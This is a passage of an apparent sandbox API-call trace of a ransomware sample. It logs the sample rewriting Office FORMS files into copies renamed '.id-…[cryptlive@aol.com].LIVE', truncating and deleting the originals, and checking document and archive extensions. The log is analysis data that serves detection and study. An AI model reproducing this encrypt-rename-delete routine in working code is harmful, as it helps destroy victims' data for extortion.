(hFile=0x1dc) returned 1 [0160.157] CloseHandle (hObject=0x1dc) returned 1 [0160.157] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.157] SetEndOfFile (hFile=0x3b8) returned 1 [0160.159] CloseHandle (hObject=0x3b8) returned 1 [0160.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico")) returned 1 [0160.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0160.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0160.558] lstrlenW (lpString=".doc") returned 4 [0160.559] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.559] lstrlenW (lpString=".docx") returned 5 [0160.559] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0160.559] lstrlenW (lpString=".pdf") returned 4 [0160.559] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.559] lstrlenW (lpString=".xls") returned 4 [0160.559] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.559] lstrlenW (lpString=".xlsx") returned 5 [0160.559] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0160.559] lstrlenW (lpString=".ppt") returned 4 [0160.559] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0160.559] lstrlenW (lpString=".zip") returned 4 [0160.559] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.559] lstrlenW (lpString=".rar") returned 4 [0160.559] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.559] lstrlenW (lpString=".bz2") returned 4 [0160.559] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.559] lstrlenW (lpString=".7z") returned 3 [0160.559] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0160.559] lstrlenW (lpString=".dbf") returned 4 [0160.559] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0160.559] lstrlenW (lpString=".1cd") returned 4 [0160.559] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0160.559] lstrlenW (lpString=".jpg") returned 4 [0160.559] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0160.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0160.559] lstrlenW (lpString=".doc") returned 4 [0160.559] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.559] lstrlenW (lpString=".docx") returned 5 [0160.559] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0160.560] lstrlenW (lpString=".pdf") returned 4 [0160.560] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.560] lstrlenW (lpString=".xls") returned 4 [0160.560] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.560] lstrlenW (lpString=".xlsx") returned 5 [0160.560] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0160.560] lstrlenW (lpString=".ppt") returned 4 [0160.560] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0160.560] lstrlenW (lpString=".zip") returned 4 [0160.560] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.560] lstrlenW (lpString=".rar") returned 4 [0160.560] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.560] lstrlenW (lpString=".bz2") returned 4 [0160.560] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.560] lstrlenW (lpString=".7z") returned 3 [0160.560] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0160.560] lstrlenW (lpString=".dbf") returned 4 [0160.560] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0160.560] lstrlenW (lpString=".1cd") returned 4 [0160.560] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO") returned 65 [0160.560] lstrlenW (lpString=".jpg") returned 4 [0160.560] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.560] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0160.560] lstrlenW (lpString="SCDRESPS.ICO") returned 12 [0160.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0160.561] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=2998) returned 1 [0160.561] CloseHandle (hObject=0x1b8) returned 1 [0160.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico")) returned 0x20 [0160.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0160.563] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.563] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0160.563] GetLastError () returned 0x0 [0160.563] ReadFile (in: hFile=0x1b8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0160.575] WriteFile (in: hFile=0x1b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0160.576] ReadFile (in: hFile=0x1b8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.576] WriteFile (in: hFile=0x1b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.576] SetEndOfFile (hFile=0x1b4) returned 1 [0160.576] CloseHandle (hObject=0x1b4) returned 1 [0160.576] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.576] SetEndOfFile (hFile=0x1b8) returned 1 [0160.578] CloseHandle (hObject=0x1b8) returned 1 [0160.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico")) returned 1 [0160.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0160.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0160.580] lstrlenW (lpString=".doc") returned 4 [0160.580] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.580] lstrlenW (lpString=".docx") returned 5 [0160.580] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.580] lstrlenW (lpString=".pdf") returned 4 [0160.580] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.580] lstrlenW (lpString=".xls") returned 4 [0160.580] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.580] lstrlenW (lpString=".xlsx") returned 5 [0160.580] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.580] lstrlenW (lpString=".ppt") returned 4 [0160.580] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0160.580] lstrlenW (lpString=".zip") returned 4 [0160.580] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.580] lstrlenW (lpString=".rar") returned 4 [0160.580] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.580] lstrlenW (lpString=".bz2") returned 4 [0160.580] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.580] lstrlenW (lpString=".7z") returned 3 [0160.580] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0160.580] lstrlenW (lpString=".dbf") returned 4 [0160.580] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0160.580] lstrlenW (lpString=".1cd") returned 4 [0160.580] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0160.581] lstrlenW (lpString=".jpg") returned 4 [0160.581] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0160.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0160.581] lstrlenW (lpString=".doc") returned 4 [0160.581] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.581] lstrlenW (lpString=".docx") returned 5 [0160.581] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.581] lstrlenW (lpString=".pdf") returned 4 [0160.581] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.581] lstrlenW (lpString=".xls") returned 4 [0160.581] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.581] lstrlenW (lpString=".xlsx") returned 5 [0160.581] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.581] lstrlenW (lpString=".ppt") returned 4 [0160.581] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0160.581] lstrlenW (lpString=".zip") returned 4 [0160.581] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.581] lstrlenW (lpString=".rar") returned 4 [0160.581] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.581] lstrlenW (lpString=".bz2") returned 4 [0160.581] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.581] lstrlenW (lpString=".7z") returned 3 [0160.581] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0160.581] lstrlenW (lpString=".dbf") returned 4 [0160.582] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0160.582] lstrlenW (lpString=".1cd") returned 4 [0160.582] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0160.582] lstrlenW (lpString=".jpg") returned 4 [0160.582] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.582] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0160.582] lstrlenW (lpString="SCDRESTS.ICO") returned 12 [0160.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0160.613] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=2998) returned 1 [0160.613] CloseHandle (hObject=0x3a0) returned 1 [0160.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico")) returned 0x20 [0160.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0160.614] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.614] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0160.615] GetLastError () returned 0x0 [0160.615] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0160.617] WriteFile (in: hFile=0x1b8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0160.618] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.618] WriteFile (in: hFile=0x1b8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.618] SetEndOfFile (hFile=0x1b8) returned 1 [0160.618] CloseHandle (hObject=0x1b8) returned 1 [0160.618] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.618] SetEndOfFile (hFile=0x3a0) returned 1 [0160.622] CloseHandle (hObject=0x3a0) returned 1 [0160.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrests.ico")) returned 1 [0160.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0160.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0160.623] lstrlenW (lpString=".doc") returned 4 [0160.623] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.623] lstrlenW (lpString=".docx") returned 5 [0160.623] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.623] lstrlenW (lpString=".pdf") returned 4 [0160.623] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.623] lstrlenW (lpString=".xls") returned 4 [0160.623] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.623] lstrlenW (lpString=".xlsx") returned 5 [0160.623] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.624] lstrlenW (lpString=".ppt") returned 4 [0160.624] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0160.624] lstrlenW (lpString=".zip") returned 4 [0160.624] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.624] lstrlenW (lpString=".rar") returned 4 [0160.624] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.624] lstrlenW (lpString=".bz2") returned 4 [0160.624] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.624] lstrlenW (lpString=".7z") returned 3 [0160.624] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0160.624] lstrlenW (lpString=".dbf") returned 4 [0160.624] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0160.624] lstrlenW (lpString=".1cd") returned 4 [0160.624] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0160.624] lstrlenW (lpString=".jpg") returned 4 [0160.624] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0160.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0160.624] lstrlenW (lpString=".doc") returned 4 [0160.624] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.624] lstrlenW (lpString=".docx") returned 5 [0160.624] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.624] lstrlenW (lpString=".pdf") returned 4 [0160.624] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.624] lstrlenW (lpString=".xls") returned 4 [0160.624] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.624] lstrlenW (lpString=".xlsx") returned 5 [0160.624] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.625] lstrlenW (lpString=".ppt") returned 4 [0160.625] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0160.625] lstrlenW (lpString=".zip") returned 4 [0160.625] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.625] lstrlenW (lpString=".rar") returned 4 [0160.625] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.625] lstrlenW (lpString=".bz2") returned 4 [0160.625] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.625] lstrlenW (lpString=".7z") returned 3 [0160.625] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0160.625] lstrlenW (lpString=".dbf") returned 4 [0160.625] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0160.625] lstrlenW (lpString=".1cd") returned 4 [0160.625] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO") returned 66 [0160.625] lstrlenW (lpString=".jpg") returned 4 [0160.625] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.625] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0160.625] lstrlenW (lpString="SCHDRESN.CFG") returned 12 [0160.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0160.626] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=835) returned 1 [0160.626] CloseHandle (hObject=0x3a0) returned 1 [0160.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg")) returned 0x20 [0160.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0160.627] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.627] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0160.628] GetLastError () returned 0x0 [0160.628] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x343, lpOverlapped=0x0) returned 1 [0160.629] WriteFile (in: hFile=0x1b8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x350, lpOverlapped=0x0) returned 1 [0160.630] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.630] WriteFile (in: hFile=0x1b8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.630] SetEndOfFile (hFile=0x1b8) returned 1 [0160.630] CloseHandle (hObject=0x1b8) returned 1 [0160.631] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.631] SetEndOfFile (hFile=0x3a0) returned 1 [0160.633] CloseHandle (hObject=0x3a0) returned 1 [0160.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.633] DeleteFileW (lpFileName="C:\\Program 